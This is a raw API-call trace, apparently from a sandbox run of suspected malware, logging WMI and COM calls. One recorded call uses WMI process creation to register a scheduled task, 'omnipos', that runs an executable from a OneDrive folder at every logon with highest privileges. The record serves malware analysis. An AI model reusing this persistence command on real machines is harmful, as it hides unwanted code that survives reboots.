puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8da0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8da0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0140.546] IWbemServices:GetObject (in: This=0x1bcc6ab0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1aa28c00, ppCallResult=0x0) returned 0x0 [0140.549] IWbemClassObject:GetMethod (in: This=0x1aa28c00, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1aa28f70, ppOutSignature=0x1bb7e690*=0x1aa292e0) returned 0x0 [0140.550] IWbemClassObject:SpawnInstance (in: This=0x1aa28f70, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa1a810) returned 0x0 [0140.550] IWbemClassObject:Get (in: This=0x1aa1a810, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cc2e8*=0, plFlavor=0x28cc2ec*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cc2e8*=8, plFlavor=0x28cc2ec*=32) returned 0x0 [0140.550] IWbemClassObject:Get (in: This=0x1aa1a810, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cc2e8*=8, plFlavor=0x28cc2ec*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cc2e8*=8, plFlavor=0x28cc2ec*=32) returned 0x0 [0140.550] IWbemClassObject:Put (This=0x1aa1a810, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0140.551] IWbemClassObject:Get (in: This=0x1aa1a810, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cc378*=0, plFlavor=0x28cc37c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cc378*=13, plFlavor=0x28cc37c*=32) returned 0x0 [0140.551] IWbemClassObject:Get (in: This=0x1aa1a810, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cc378*=13, plFlavor=0x28cc37c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cc378*=13, plFlavor=0x28cc37c*=32) returned 0x0 [0140.551] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1aa28520) returned 0x0 [0140.551] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0140.551] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0140.551] IUnknown:AddRef (This=0x1aa28520) returned 0x3 [0140.551] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0140.551] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0140.551] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1aa28528) returned 0x0 [0140.551] IMarshal:GetUnmarshalClass (in: This=0x1aa28528, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0140.552] IUnknown:Release (This=0x1aa28528) returned 0x3 [0140.552] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0140.552] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0140.552] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0140.552] IUnknown:Release (This=0x1aa28520) returned 0x2 [0140.552] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0140.552] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0140.552] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0140.552] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0140.552] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0140.552] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0140.552] IUnknown:AddRef (This=0x1aa28520) returned 0x3 [0140.552] IWbemClassObject:Put (This=0x1aa1a810, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aa28520, varVal2=0x0), Type=0) returned 0x0 [0140.552] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc956b0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0140.552] WbemDefPath:IWbemPath:GetText (in: This=0x1bc956b0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0140.552] WbemDefPath:IWbemPath:GetText (in: This=0x1bc956b0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0140.552] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc955f0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0140.552] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0140.553] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.553] WbemDefPath:IWbemPath:GetText (in: This=0x1bc956b0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0140.553] WbemDefPath:IWbemPath:GetText (in: This=0x1bc956b0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0140.553] IWbemServices:ExecMethod (in: This=0x1bcc6ab0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa1a810, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa1aac0, ppCallResult=0x0) returned 0x0 [0140.740] IWbemClassObject:Get (in: This=0x1aa1aac0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cc690*=0, plFlavor=0x28cc694*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfb8, varVal2=0x0), pType=0x28cc690*=19, plFlavor=0x28cc694*=0) returned 0x0 [0140.741] IWbemClassObject:Get (in: This=0x1aa1aac0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cc690*=19, plFlavor=0x28cc694*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfb8, varVal2=0x0), pType=0x28cc690*=19, plFlavor=0x28cc694*=0) returned 0x0 [0140.742] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0140.742] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0140.742] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0140.742] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.743] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc5020) returned 0x0 [0140.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc5020, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0140.744] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc5020, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bcd8f20) returned 0x0 [0140.744] WbemDefPath:IUnknown:Release (This=0x1bcc5020) returned 0x0 [0140.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bcd8f20) returned 0x0 [0140.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0140.744] WbemDefPath:IUnknown:AddRef (This=0x1bcd8f20) returned 0x3 [0140.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0140.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0140.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc5060) returned 0x0 [0140.744] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc5060, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.744] WbemDefPath:IUnknown:Release (This=0x1bcc5060) returned 0x3 [0140.744] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0140.745] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0140.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0140.745] WbemDefPath:IUnknown:Release (This=0x1bcd8f20) returned 0x2 [0140.745] WbemDefPath:IUnknown:Release (This=0x1bcd8f20) returned 0x1 [0140.745] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0140.745] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0140.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bcd8f20) returned 0x0 [0140.745] WbemDefPath:IUnknown:AddRef (This=0x1bcd8f20) returned 0x3 [0140.745] WbemDefPath:IUnknown:Release (This=0x1bcd8f20) returned 0x2 [0140.745] WbemDefPath:IWbemPath:SetText (This=0x1bcd8f20, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0140.745] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8f20, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0140.745] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8f20, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0140.745] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8f20, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0140.745] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd8f20, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0140.745] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8f20, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0140.745] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd8f20, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0140.745] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0140.745] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0140.745] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0140.745] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.747] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc50a0) returned 0x0 [0140.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc50a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0140.747] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc50a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bcd8fe0) returned 0x0 [0140.747] WbemDefPath:IUnknown:Release (This=0x1bcc50a0) returned 0x0 [0140.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bcd8fe0) returned 0x0 [0140.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0140.748] WbemDefPath:IUnknown:AddRef (This=0x1bcd8fe0) returned 0x3 [0140.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0140.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0140.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc50e0) returned 0x0 [0140.748] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc50e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.748] WbemDefPath:IUnknown:Release (This=0x1bcc50e0) returned 0x3 [0140.748] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0140.748] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0140.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0140.748] WbemDefPath:IUnknown:Release (This=0x1bcd8fe0) returned 0x2 [0140.748] WbemDefPath:IUnknown:Release (This=0x1bcd8fe0) returned 0x1 [0140.748] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0140.748] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0140.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bcd8fe0) returned 0x0 [0140.748] WbemDefPath:IUnknown:AddRef (This=0x1bcd8fe0) returned 0x3 [0140.748] WbemDefPath:IUnknown:Release (This=0x1bcd8fe0) returned 0x2 [0140.748] WbemDefPath:IWbemPath:SetText (This=0x1bcd8fe0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0140.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8fe0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0140.748] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8fe0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0140.748] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8fe0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0140.749] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd8fe0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0140.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8fe0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0140.749] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd8fe0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0140.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8fe0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0140.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0140.749] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0140.749] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: 